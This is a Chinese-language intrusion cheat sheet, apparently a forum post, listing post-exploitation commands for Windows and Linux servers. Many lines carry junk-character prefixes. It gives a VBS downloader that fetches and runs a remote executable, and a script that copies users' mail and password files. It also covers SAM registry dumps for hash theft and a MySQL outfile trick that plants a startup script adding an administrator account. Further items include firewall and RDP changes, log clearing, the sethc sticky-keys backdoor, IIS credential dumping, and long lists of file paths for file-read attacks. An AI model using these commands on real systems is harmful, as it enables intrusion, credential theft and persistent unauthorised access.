- [1 K2 {+ V# O3 l& J; a提权先执行systeminfo
3 ^; u& l, @0 x4 u1 D* ]3 Qtoken 漏洞补丁号 KB956572
9 S  r' T& x. z* }( k0 x! IChurrasco          kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
2 F8 ?* j) {/ g9 H7 J! R* M——————————————
2、收集系统信息的脚本  
for window：

, W8 F* O  b! y@echo off
/ S6 ?' b5 q7 D. e& ~; @echo #########system info collection
systeminfo
ver
2 x9 s, u; X9 u( l9 g% Fhostname
net user
net localgroup
, _  o! D; p, F) J8 Bnet localgroup administrators
4 B  g4 Y/ M) N! B, y+ [net user guest
net user administrator
/ a$ G( o( a% ?  l, h
echo #######at- with   atq#####
echo schtask /query
- K2 A& Z, Q0 F( d6 i) L( A0 w5 `  X
echo
. E; `/ ?' g5 w+ M+ a( f: techo ####task-list#############
! O% I0 ]/ H; k. O  c# Q6 Ftasklist /svc
echo
2 a2 L$ r) q  Fecho ####net-work infomation
ipconfig/all
2 k: `1 I! Y; A: q2 r. groute print
arp -a
netstat -anipconfig /displaydns
echo
& ~, c; E* I; h6 S- M/ techo #######service############
sc query type= service state= all
echo #######file-##############
6 c$ h: Q1 J+ x6 w& B0 vcd \
& c' @+ F, x5 D5 A/ O% m3 utree -F
for linux：
1 @$ b' S( u0 U8 H5 h
5 a( T6 k2 B% s! `* P2 N8 l# h#!/bin/bash

" M7 D+ f; B! c; @# X8 N' E# P5 Qecho #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
  Z' V, h# i7 U0 M& V8 s# {echo
0 {/ |( }8 i# Q, W" M! @cat /proc/cpuinfo
7 j! \; v) g) E" Kecho
rpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null


) _+ i- E; V1 ^5 eecho 'u'r id is' `id`
echo ###atq&crontab#####
atq
9 A7 I! I4 z, Z9 Ocrontab -l
echo #####about var#####
set
* O; Z4 T2 E8 L: K2 z
echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
- [0 B+ E+ U. t1 {cat /etc/hosts
hostname
8 ?( C1 z3 I# J* \. H* l( ^- ]ipconfig -a
arp -v
% a- `, R5 _0 E3 s; V5 j# z! kecho ########user####
5 c% f9 v6 y. T0 U- M  fcat /etc/passwd|grep -i sh

2 @7 U8 O- U3 r7 e- z( hecho ######service####
8 ^5 l7 u2 Z5 C$ B& Hchkconfig --list

& h: N" x4 j& P3 D  ~for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
- p# E5 g+ ~" U( adone
5 j4 {! Y3 z3 {
locate passwd >/tmp/password 2>/dev/null
  N3 k# N  z9 hsleep 5
4 [8 c* D3 o4 _2 P( P7 Plocate password >>/tmp/password 2>/dev/null
2 ~/ t$ |4 s5 R  I9 osleep 5
locate conf >/tmp/sysconfig 2>dev/null
5 \+ m7 L0 y9 `. h; }3 Ksleep 5
locate config >>/tmp/sysconfig 2>/dev/null
sleep 5

###maybe can use "tree /"###
echo ##packing up#########
: ]' W0 L7 I: _4 `1 R0 _tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
0 D4 h2 ]5 Z9 ~% Y# i, e注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
# r; ]( u% q! e6 m% X接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
0 r. F$ @$ ~! Y; rhash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
' n' I4 }& ^- S4 t——————————————
4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
* Y9 x# W) y8 U/ Yecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
9 w4 Z; {+ U) w& `/ d. gecho sGet.Open() >>c:\windows\cftmon.vbs
! e  w4 q8 N4 w' M& r# hecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
; w3 v5 f4 r' O' _echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
# q* v0 w3 x: ~echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
; e3 B! X4 W! Ecftmon.vbs
' t# k# X4 I/ ?0 ]! m
2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
0 q) C8 l! o; O& B& {s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
3 G& s3 `* i, f% ?8 RsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

& z8 y( f, \- c5 m0 q/ E当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
9 L1 v) B5 I. o/ Z( O! E) ^5 v: V9 T——————————————————
& R, A0 s) i1 e3 i1 b1 c' H+ F4 E5、
1.查询终端端口
5 e3 j' H; |; g# O( x7 YREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
1 D' U! _  n2 k# p2.开启XP&2003终端服务
5 d  i+ n( ?2 T, {; a$ TREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
2 x9 T# H- q# [1 u% f3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
+ ?3 f4 t' R  U/ `9 FREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
/ v! S/ r5 N& q4 N/ f4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
  ]: A! O' J4 OREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
) ?  Y4 c9 ]% f7 T- g9 ^select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
2 H) h+ u& c- T) ^  K————————————————————
) X5 b2 a8 ?, c3 w! o# S7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
) l+ v# M. c, Y0 {: O+ r  a8 N6 n8、for /d %i in (d:\freehost\*) do @echo %i

列出d的所有目录
' t9 T1 ~4 O- h5 @. h6 I* P: L3 D  
" `$ K5 e! E4 E( ~# f  for /d %i in (???) do @echo %i
0 V) |7 {3 U2 ^! M* h" J
把当前路径下文件夹的名字只有1-3个字母的打出来

2.for /r %i in (*.exe) do @echo %i
9 v7 u5 u- z6 g; \  
( \- g6 v9 ^  r* y/ T  z以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
1 x: Q" @$ N" S1 s; O; p
for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
/ a$ z' e( s  B  
6 F! v  j, Y: y! D4 G5 Q  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

( Z3 w$ M  y6 d! o3 {9 U4 C4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
0 T+ |( u. q1 o! W% R1 q* d
  delims=后的空格是分隔符 tokens是取第几个位置
8 ?% n1 ^' U8 X( A9 o: E- e/ Y* i——————————
! h4 y3 P4 L9 j- }) E; ]●注册表:
) _6 e+ g3 L! E1.Administrator注册表备份:
; X  \# O: e. B% o% oreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
' s; ?& m: n0 ~; p- w
2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
! Z' v8 \% {7 q2 W" j- @7 T! \修改PortNumber.

3.清除3389登录记录:
% d9 b  l* Q( P5 u2 @! Nreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
) `! {& x& q( }4 K) w& P
% H- g. \! R/ N6 p2 b+ N, W" ~4 x, ~4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg
" e2 C: ]8 X8 `8 w* i" i6 J
5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
  o& K; _. u1 b+ s& o* H. `
6.IPSec默认免除项88端口(需重启):
/ c+ ]6 D( D, C9 U3 B4 E, w# Creg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
0 y  e9 c% ]* r% p# X; B/ znetsh ipsec dynamic set config ipsecexempt value=0

9 _# _5 L: i! U- V; `7.停止指派策略"myipsec":
1 _$ L9 K( G+ h8 u3 Z& {6 @netsh ipsec static set policy name="myipsec" assign=n
" L- W9 P3 y1 F! a/ Y. q
6 U/ p' c% z2 F8 ^8.系统口令恢复LM加密:
7 c# p* J$ }1 {5 ?8 l, Sreg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
0 S/ ~, W$ r$ u$ W# b1 H
' Q2 ^! q% R2 Z  r9.另类方法抓系统密码HASH
) m0 v1 F& X4 g9 g; ]1 rreg save hklm\sam c:\sam.hive
& m* h2 I1 P4 ^- h+ v2 l( creg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
1 ~* l# d" x. F" y" S- W" W
, ]: O9 T* v1 L: O! \. z4 C! ]10.shift映像劫持
7 Z" u* j% V6 \+ _reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

2 I2 x! l% M% B& s9 r! r) ]. {reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
9 d& S+ x, z. l9 y5 kSet ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
9 M$ _' R; ~+ C7 s# q, j8 LchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
1 f* ]9 g+ Y' Y% h: p, E! Lif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
' _8 z/ C: ]& ]; A$ Aif err.number<>0 then
: S3 q- i" F* v- b- q1 r# m( Xexit for
msgbox("error!")
wscript.quit
- U! V' O# |6 n7 _( Q/ D; _end if
! u! j5 @! ]0 C0 b6 U2 B; X' Iserverbindings=IIS.serverBindings
3 M* v. o1 V& @+ Z; c/ GServerComment=iis.servercomment
* b% g- I, X1 a- o% K: k, X4 pset IISweb=iis.getobject("IIsWebVirtualDir","Root")
  R! _( H7 v  x4 s/ L+ M. {9 yuser=iisweb.AnonymousUserName
8 [$ {' [' G1 i! opass=iisweb.AnonymousUserPass
path=IIsWeb.path
5 r) m9 n! A7 Vlist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
6 w* |  A. D2 p+ vend if
Next
! M" ]% f( v8 j% ^# |; [( }" b- s0 Uwscript.echo list
Set ObjService=Nothing
  R6 H, S4 X% M5 I8 _  s3 Xwscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
4 M, C1 Q* k6 E6 v9 B4 K! IWScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2 z5 j+ w3 u- e" U3 z2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
3 R- _- j6 J  r7 x( s( W将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
& N2 V% Z/ P; |/ T9 D: U然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
+ q4 z8 v4 b# |4 `' _3 ?  ZPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
8 W' K  O" T  z. S  m  t 原因是ASP大马里有这样的代码：（没有就没事儿了）
" L- i2 {0 j8 R9 l; f5 | url=request.severvariables("url")
9 R; z: f# e3 ^9 D 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
- o5 M1 Q: l7 h1 D) b+ i1 ` 解决方法
, |" |5 ]8 K3 z4 l" @) W' W url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
/ x1 K  X7 [& N
3 T* ]# B  A5 F3 T! h5 G==============================================================
LINUX常见路径：
) z. D, r% p& o* K& u* _! i$ @5 O
/etc/passwd
/etc/shadow
0 J$ q2 _( @2 p9 }- b; ?# B5 c. V/etc/fstab
/etc/host.conf
1 Q  w+ F4 W, a6 ]* o/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
6 n: y. I/ H2 H8 Z& W/ P% u/var/www/conf/httpd.conf
/ x9 b6 k  ^7 Q+ m7 {0 h- l. n6 y/var/www/htdocs/index.html
  V+ i( k1 @+ x/var/httpd/conf/php.ini
! g; K% F6 B* E. l: |2 z/var/httpd/htdocs/index.php
9 n6 O2 i2 I' I* [9 Y4 j4 y* G/var/httpd/conf/httpd.conf
, o" g% k8 k0 }8 r/ c( {: @' G/var/httpd/htdocs/index.html
6 F. q! l1 y* a9 X: F) n+ J2 t- }' V) m/var/httpd/conf/php.ini
3 q7 O6 b: j0 h/var/www/index.html
2 o( U# z9 E1 W8 c! [5 G/var/www/index.php
* [0 n' M4 k  h5 z8 j+ e9 K7 W/opt/www/conf/httpd.conf
: K3 z! d: ]2 [3 i' |/opt/www/htdocs/index.php
4 q8 W3 @6 X  a/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
+ o5 M2 t2 n, p) A4 b% Y7 W3 L/usr/local/apache/htdocs/index.php
3 p2 r  B$ K$ E* K5 H2 @/usr/local/apache2/htdocs/index.html
2 U) Y( Y9 X% u  |/ o# I/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
. A; F* A: J* K5 G" |$ b/tmp/apache/htdocs/index.php
& C7 S9 D4 a6 j# V( V/ i3 S/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
  \: B1 E3 |" {$ ?/etc/httpd/htdocs/index.html
( _. K5 F; _2 H1 W4 e/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
! L. e. h7 j! M8 G) l& O/usr/local/httpd/conf/httpd.conf
/ V; P, b9 D" f) H/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/ W4 I+ I. e# ?3 H2 m, u/etc/apache/apache.conf
* z6 c: l" e3 Q$ O* m) E9 p! K8 u) T/etc/apache2/apache.conf
/etc/apache/httpd.conf
) T. a2 R' Y  P  T- U2 E, r/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
1 Q, i: Z/ }& `  W( E4 p/etc/apache2/sites-available/default
) r5 \0 k1 T$ R& q! E/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
3 H* L) z1 ]% ~" I, x" k4 U/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
) O* @, c" Y7 `/etc/httpd/logs/error_log
% B$ m$ j% H; H' Q8 Q- e: N7 Q/ X/etc/httpd/logs/error.log
' ^( j3 ]# }& t- {1 T8 n  n/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
  D! j7 L6 V4 p/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
* a3 U; T; n+ e2 s/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
5 M1 k0 N: T) M, ]) F' ]/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
7 }: B+ x: L) N5 m8 z+ P1 J7 E/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
" F8 D6 ~& P/ ~& k; I$ t1 g, C3 @& K/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
- q7 b3 ], M  `# Y; V6 h# \/usr/local/apache/logs/access.log
9 @# `+ y9 S8 [; s& p0 h/var/log/error_log
) b% s# y2 B# ~0 q8 u  k! j- y. y/var/log/error.log
/var/log/access_log
' z9 O# p/ X4 ^& E) g: }  O5 c/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
" K/ G/ }$ l8 [: S/usr/local/apache/logs/error_logerror_log.old
3 |. B/ ^/ v% i9 O! _! O/ P/etc/php.ini
: S( f# u. G- L. j0 y/bin/php.ini
* E+ z- P* B4 N/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
8 Q5 E; L3 i# @+ C, i/usr/lib/php/php.ini
! N6 x- h) E7 p% d7 ?1 b! d/usr/local/etc/php.ini
/usr/local/lib/php.ini
, R$ f& ], s0 S/ I+ a2 Z/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
7 m. m6 X) x4 F" O  _/usr/local/php5/lib/php.ini
$ j0 G  W1 C$ ^$ {/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
" V3 @9 ?. F  }, B/usr/local/apache2/conf/httpd.conf
  H# j  |# H1 X0 \' X! d7 S/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
4 p2 X8 X* @" ~! t$ e4 e1 x( A/etc/php5/apache2/php.ini
$ F" U+ b/ l# Z& V3 t8 h, c1 w% I. V2 [' M/etc/php/php.ini
/etc/php/php4/php.ini
" I& H, ^! Y9 F/etc/php/apache/php.ini
  f, a, a  s8 D: ?6 {( H: e" F/etc/php/apache2/php.ini
5 q# p* W" Z; [  T( `! _3 v/web/conf/php.ini
/usr/local/Zend/etc/php.ini
( r8 e* g+ ^* ]) g1 w3 W4 d0 O/opt/xampp/etc/php.ini
9 c! [7 c! J  y1 Q) q& t' q/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
( A9 T3 k' `% U$ `' M/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
6 \3 l% [3 B1 n/ K3 l/php5/php.ini
/php4/php.ini
/php/php.ini
/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
# l% E' d9 G9 I, }/ o/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
! k8 |+ J- I1 j& ^& a. o& p* v" }/var/log/mysql/mysql-bin.log
6 E. V$ p$ q# e  h7 R/var/log/mysql.log
/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/ t- |: W( K  I8 y/var/mysql.log
/var/lib/mysql/my.cnf
+ _% O1 _% y9 U/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
9 K4 m; H( O% b+ E! ]/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
4 y- m* k) G' V; C0 b/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
3 |9 @/ O( C* X- W/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
3 [' L# E* m" p# a3 E/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
c:\boot.ini
; h/ X$ a( r1 x5 j0 |8 Kc:\1.txt
c:\a.txt
" Y9 o% F) j, A, G: v
0 I9 R& d$ _6 t! M; kc:\CMailServer\config.ini
: A  X" m  t- `% ec:\CMailServer\CMailServer.exe
( N; `. ?$ F" {& w. ec:\CMailServer\WebMail\index.asp
3 L+ g0 @* N* L5 C$ lc:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

* v$ ~& ^9 d5 P+ M1 Tc:\hzhost\databases\url.asp
1 z0 O& V4 n- ]- J% g9 ]" B
5 x8 N7 @3 Y; c' uc:\hzhost\hzclient.exe
8 ^  B( J. D, q- b. uC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
' K7 n; ~/ R9 _' Kc:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
$ w. |) [7 K6 M+ L7 M8 X0 \c:\website\index.html
. k% M) s8 |5 qc:\web\index.asp
c:\www\index.asp
$ o: f* g# e. |9 v5 F' ~$ L& jc:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
c:\www\index.php
( a( t8 q+ ]9 y8 Yc:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
7 J0 l% j2 Y+ O/ s1 \c:\www\default.html
c:\WWWROOT\default.html
4 O- a7 ^8 k4 t  _- e7 [% {: ac:\website\default.html
  G& c. _: `+ Ec:\web\default.asp
0 P' l1 I# u4 I- n, k: I$ y3 i; Ac:\www\default.asp
0 s5 k& ^) W5 d  O+ [% ic:\wwwsite\default.asp
8 b% _6 _! V$ ^" Z/ wc:\WWWROOT\default.asp
c:\web\default.php
c:\www\default.php
6 \7 K6 W6 r5 t8 T5 ^' g- K* J; u( I+ sc:\WWWROOT\default.php
c:\WWWsite\default.php
% w- f2 G" _4 c  tC:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
% s, S7 r6 _3 @# T9 |6 O/ }c:\winnt\notepad.exe
$ t( M) s) A5 \9 [% Q1 wC:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
$ |6 }: ?' I7 k% u. w; E; Nc:\ravbin\store.ini
c:\rising.ini
2 g! p3 x% t( r( v9 i: P- o3 q" HC:\Program Files\Rising\Rav\RsTask.xml
0 m2 W7 b8 `3 s! L3 o9 dC:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
$ t5 v+ p4 v& _7 sC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
3 d% E& o  m! q' v- G5 JC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
5 B" L4 T" T9 e3 SC:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
7 d; q- g! j# c& |8 e6 ^1 D2 \  IC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
! u3 y: r0 [( `) J* qE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
* e3 E. @4 z( O* B8 BC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
; n5 j" o4 G' W2 n% {3 pC:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
% ]1 Q4 r2 W0 S$ O' A% PC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
- v% x0 I+ R7 i) Y$ l7 k9 a5 LC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
8 |6 V4 w' r' ^  j  h6 O0 jC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
& b8 C5 h. D- _, U( IC:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
7 a1 E& Z% g+ P4 ~5 ^/ AC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
. \' n5 \0 t0 s) h# Mc:\MySQL\MySQL Server 4.1\bin\mysql.exe
/ Z# P1 U  D% p- O: b0 C1 S$ E# pc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
1 h- L- p7 `/ [% p* D* IC:\Program Files\Oracle\oraconfig\Lpk.dll
9 o* c5 I( m, dC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
, f4 N; z6 |, I* Q* [6 ^3 ^0 fC:\WINDOWS\system32\inetsrv\MetaBase.xml
8 ?' z# B3 F- _- C- _( q# BC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
- Z; t# q% {# y- p) e* o5 hc:\program files\CMailServer\config.ini
: o+ |" W3 Z1 J( ~- g7 J5 zc:\tomcat6\tomcat6\bin\version.sh
7 E) h7 @1 Q; y6 c5 O& U( ac:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
& W) h- w' \9 f( P+ z0 _c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
5 `, u4 d# x% I5 ]" cc:\Apache2\bin\Apache.exe
, Z$ n+ W% z* w/ W# q7 Qc:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
8 H, }+ z6 `* j/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
: G4 q( i) k5 i( x' ]/usr/tomcat6/bin/startup.sh
- n9 ?/ x) j  r, ?3 e# ^% pc:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
0 B! I0 b6 d+ t3 n+ S5 c# h* |c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
2 ^! f3 |) B! m( V/ z) sc:\Program Files\Tencent\qq2008\qq.exe
, f3 n  q$ B3 ^+ O0 Ac:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
  y( I! m, ~) F, _* j) ?% P5 sC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
  H* m0 t- E5 c" jC:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
